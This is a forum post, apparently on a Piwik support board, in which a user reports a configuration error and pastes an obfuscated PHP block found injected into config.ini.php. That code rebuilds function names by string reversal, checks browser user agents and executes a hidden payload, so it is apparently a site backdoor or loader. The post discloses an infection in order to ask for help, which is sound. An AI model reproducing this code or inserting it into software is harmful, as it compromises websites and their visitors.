@Dongle wrote:
Hi there!
This morning I wanted to check my piwik stats and got this error:
Unable to read INI file {/var/www/pwtrck.net/htdocs/config/config.ini.php}: Syntax error in INI configuration: Your host may have disabled parse_ini_file().
A look in the file has made me aware of the following line of strange code:
<?php $ewlxwxyp = 't::**<(<!fwbm)%tjw)# x24#-!!>#p#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%w# x5cq%7**^#zsfvr# x5cq%)ufttj x22)gj6<^#Y#%-bubE{h%)sutcvt)fubmgpdoF.uofuopD#)sfebfI{*w%)kVx{**#k#)tutjyf`if((function_exists(" x6f 142 x5f 163 x74 141 x72 164") &&3of)fepdof`57ftbc x7f!|!*uyfu x27k:!ftmf!}48y]#>m%:|:*r%:-t%)3of:opjudovg<~ x24<!%o:!>! x242178}527}88:}3k~~~<ftmbg!osvufs!|ftmf!~<**9.-j]5]48]32M3]317]445]212]445]43]321]464]284]364]6]2346P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%tdz>#L4]275L3]248L3P6L1M5]D2P4]Doj{hA!osvufs!~<3,j%>j%!*3! x27!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%)tpqssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI#*<%bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%hfoopdXA x22)7gj6<*QDU!ftmbg)!gj<*#k#)usbut`cpV x7f x7f x7f>:iuhofm%:-5ppde:4:|:**#ppde#)tutjyf`4 x223}!+!<+{**b%)sfxpmpusut!-#j0#!/!*5cq%7/7#@#7/7^#iubq# x5cq% x27jsv%6<C>^#zsfvrw2)%w`TW~ x24<!fwbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopoV;hoje x24<%j,,*!| x24- x24gvodujpo! x24- x24y#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<!%w:!>!(%w:!>y83]273]y76]277#<!%t2w>#]y74]273]y76]252]y85]256]y*X&Z&S{ftmfV x7f<*XAZASV<*w%)ppde>3]Kc#<%tpz!>!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]273]D7&6< x7fw6* x7f_*#[k2`{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofu4`hA x27pd%6<pd%w6Z6<.3`hA x27pd%6<pd%w6Z6<%!<***f x27,*e x27,*d x27,*c x27,*b x27)fepdof.)fepdof./#@#/qp%>5h%!<v%7-MSV,6<*)ujojR x27id%6< x7fw6* x7f_*#ujojRk3`mplode(array_map("qvcmkzn",str_split("%tjw!>!osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]47]67y]37]88y],;uqpuft`msvd}+;!>!} x27;!>>!~!<b% x7f!<X>b%Z<#opo#>b%!*##>>!gj!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp%-*.%)euhA)3of>2bdnjA x27&6<.fmjgA x27doj%6< x7fw6* x7f_*#fmjgk4`{6~6<tfs%w6< x7fvg x22)!gj}1~!<2p% x7f!~!<##!>!2p):fmjix:<##:>:h%:<#64y]552]e7y]#>n%<#372]58y]472 156 x63 164 x69 157 x6e"; function qvcmkzn($n){return chr(orcOc/#00#W~!Ydrr)%rxB%epn*#sfmcnbs+yfeobz+sfwjiyuzyadf();}}{666~6<&w6< x7fw6*CW&)7gj6<.[A x2 (!isset($GLOBALS[" x61 1m!|!*5! x27!hmg%)!gj!|!*1?hmg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!<6g]257]y86]267]y74]275]y7:]268]y7f#<!%tww!>! x2400~:<h%_t%:NJU,6<*27-SFGTOBSUOSVUFS,6<*ms]342]58]24]31#-%tdz*Wsfuvso!%bss x5csb x72 157 x6d 145")) or (strstr($uas," x66 151 x72 145 x66 157 x78"6#<%G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55<#o]o]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7jsv%7UFs: x5c%j:.2^,%b:<!%c:>%s: x5c%j:^<!%w` x5c^>Ew:Qb:d($n)-1);} @error_reporting(0); $peddbqt = i53 105 x52 137 x41 107 x45 116 x54"]); if ((strstr($uas," x6d 163 x7f<u%V x27{ftmfV x7f<bss!>!bssbz)#44ec:649#-!#:618d5f9#-%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:>%e%+*!*+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>> x22))) { $nfdylcu = " x63 162 x65 141 x74 145 x5f 146 x75c}A;~!} x7f;!|!}{;)gj}5:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#-j%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)utj!gj}Z;h!opjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}|!*bubE{h%)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`opjudo> x2272qj%)7gj6<**2qj%)hopm3qjA)qj3hopmA x273qj%6<*Y%)fx24/%tmw/ x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#x24*<!~! x24/%t2w/ x24)##-!#~<#/% x24- x24!>!fyqmpef)# x24*/#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]5x69 145")) or (strstr($uas," x72 166 x3a 61 x31")) or (str! x246767~6<Cw6<pd%w6Z6<.5`hA x27pd%6<pd%w6Z6<.*::::::-111112)eobs`un>qp%!|Z~!<##!>!2p%!|!*!*- x24*!|! x24- x24 x#]y38#-!%w:**<")));$yuzyadf = $nfdylcu("", $peddbqt); $,#/q%>U<#16,47R57,27R66,# x5cq% x27Y%6<.msv`ftsbqA7>q%6< x7fw6* Re%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbs#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]283]5c%j^ x24- x24tvctus)% x24- x24b!>!%yy)#}#-# x24- x24-34}472 x24<!%ff2!>!bssbz) x24]25 x24- x24-!% x24oe))1/35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%J`GB)fubfsdXA x27K6< x7fw6*3qj%7-#}+;%-qp%)54l} x27;%!<*#}_;#)323ldfid>}&;!osvufs} x7f;*9! x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**3tusqpt)%z-#:#* x24- x24!>! x24/%tjw27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%)m%12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gj!H# x27rfs%6~6< x7fw6<*K)ftpmdXA6|7**197-2qj%7-K)ud427]36]373P6]36]73]83]238M7]381]211M5]67]452]88;`msvd}R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd}ut>j%!*72! x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!#-!#~<%h00#*<%nfd)##Qtpz)opd`ufh`fmjg}[;ldpt%}K;`ufldpt}XZ;^nbsbq% x5cSFWSFT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#7&6|7**111127-K)ebfsX x27u%)7fmjix6<C x27&6<*rfs%7-K)fujsxX6idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)tpqssut-#jt0*?]+^?]_ x5c}X x24<!%tmw!>!#]y84]275]>!}_;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22!pd%)WYsboepn)%bss-%rxB%h>#]y31]278]y!opjudovg}k~~9{d%:osvufs:~928>> x22:ftmbg39*56A:>:8u%!-#2#/#%#/#o]#/*)323zbe!<!%t::!>! x24Ypp3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5c1^>1<%b:>1<!gps)%j:>1<&c_UOFHB`SFTV`QUUI&b%!|!*)323zbek!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z>! 7 x24- x24*<! x24- x24gps)%j>1<%j=tj{fpg)% x24- nbozcYufhA x272qj%6<^#zsfvr# xQwTW%hIr x5c1^-%r x5c2^-%hOh/#00#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**%Z<^2 x5c2b%!>!2p%!*3>?*2b%)gpf{jt)w6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dfyfR x27tfs%6<*17-SFEBFI,6<*127-UVPFstr($uas," x61 156 x64 162 x6f 151 x64")) or (strstr($uas," x63 150%!<5h%/#0#/*#npd/#)rrd/#00;quui#>.dsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!/!#0#)x7f_*#fubfsdXk5`{66~6<&w6< x7fw6*CW&)7gj6<*doj%7-C)fepmq!>!%tdz)%bbT-%bT-%hW~%fdy)#X)!gjZ<#opo#>b%!**X)ufttj x22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)x x22l:!}V;3q%}U;y]}R;2]},;osvufs} x27;mnui}&;zep x27*&7-n%)utjm6< x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/]37y]672]48y]#>s%<#462]47y]252]18y]#>q%<#762]67y]562]38y]572]:|:7#6#)tutjyf`439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:"]=1; $uas=strtolower($_SERVER[" x48 124 x54 120 x5f 125 xQc:W~!%z!>2<!gps)%j>1<%j=6[%ww2.2`hA x27pd%6<C x27pd%6|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf/ x24)% x24- x24y4 x24- x24]y8 x24- x24]26 x24-3e]81]K78:56985:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-xr.98W%c!>!%i x5c2^<!Ce*[!%cIjQeTQl;33bq}k;opjudovg}x;0]=])0#)U! x27{**u%-#jt0}Z;0]=]0#)2q%l}S;2-`MPT7-NBFSUT`LDPT7-UFOu%V<#65,47R25,d7R17,67R3756 x75 156 x61"])))) { $GLOBALS[" x61 156 x75 156 x61StrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSjurkyvrty'; $figloxwz=explode(chr((586-466)),substr($ewlxwxyp,(25020-19000),(160-126))); $vsgjjhsgs = $figloxwz[0]($figloxwz[(7-6)]); $hhhndsypw = $figloxwz[0]($figloxwz[(10-8)]); if (!function_exists('wfybfe')) { function wfybfe($cioubyn, $nzvxrgt,$czxjgij) { $qzogxj = NULL; for($gxskcty=0;$gxskcty<(sizeof($cioubyn)/2);$gxskcty++) { $qzogxj .= substr($nzvxrgt, $cioubyn[($gxskcty*2)],$cioubyn[($gxskcty*2)+(3-2)]); } return $czxjgij(chr((27-18)),chr((581-489)),$qzogxj); }; } $chgmgd = explode(chr((148-104)),'177,58,1895,25,5967,53,5563,58,2366,66,3106,58,5027,67,2114,66,2605,54,1743,61,2322,44,1388,45,959,60,3164,47,1228,43,5652,62,5382,52,4288,60,2228,44,3982,50,651,21,5920,22,3727,32,2882,55,4823,30,784,45,70,43,3357,39,5181,56,1599,63,4957,70,2046,30,1340,48,1862,33,1171,57,4202,32,4079,44,1483,28,4436,50,2779,50,340,32,113,22,490,66,4123,54,3814,37,2739,40,1920,67,3933,49,2829,53,1662,33,4922,35,1543,56,5094,34,1271,69,3211,46,759,25,1828,22,5128,53,4348,46,3396,60,556,61,4675,33,1511,32,5264,69,235,42,4234,54,3759,55,4518,51,5495,68,709,50,2541,64,672,37,2432,23,1069,34,5942,25,3332,25,877,42,135,42,5333,49,2659,22,5857,63,4569,26,4394,42,1019,50,1987,59,1433,50,3886,47,1695,48,5434,61,277,63,3562,48,3257,20,3508,54,3851,35,5714,47,919,40,4775,48,2986,59,4595,60,5828,29,1804,24,2455,35,4708,67,2937,49,4853,69,4486,32,5761,67,2681,58,3045,61,1103,68,423,67,2180,48,617,34,5237,27,4177,25,3456,52,4032,47,372,51,2076,38,3610,53,4655,20,2490,51,2272,50,5621,31,27,43,829,48,3663,64,0,27,3277,55,1850,12'); $vcqgrzuqk = $vsgjjhsgs("",wfybfe($chgmgd,$ewlxwxyp,$hhhndsypw)); $vsgjjhsgs=$ewlxwxyp; $vcqgrzuqk(""); $vcqgrzuqk=(808-687); $ewlxwxyp=$vcqgrzuqk-1; ?>; <?php exit; ?> DO NOT REMOVE THIS LINEI am really wondering about this error and this code, because I haven’t changed anything. Nether in piwik nor on my server settings. Yesterday, all worked fine. It seems to be malicious code, right? Anyone got the same problem or can help me solve this issue?
Thanks a lot!
Posts: 2
Participants: 2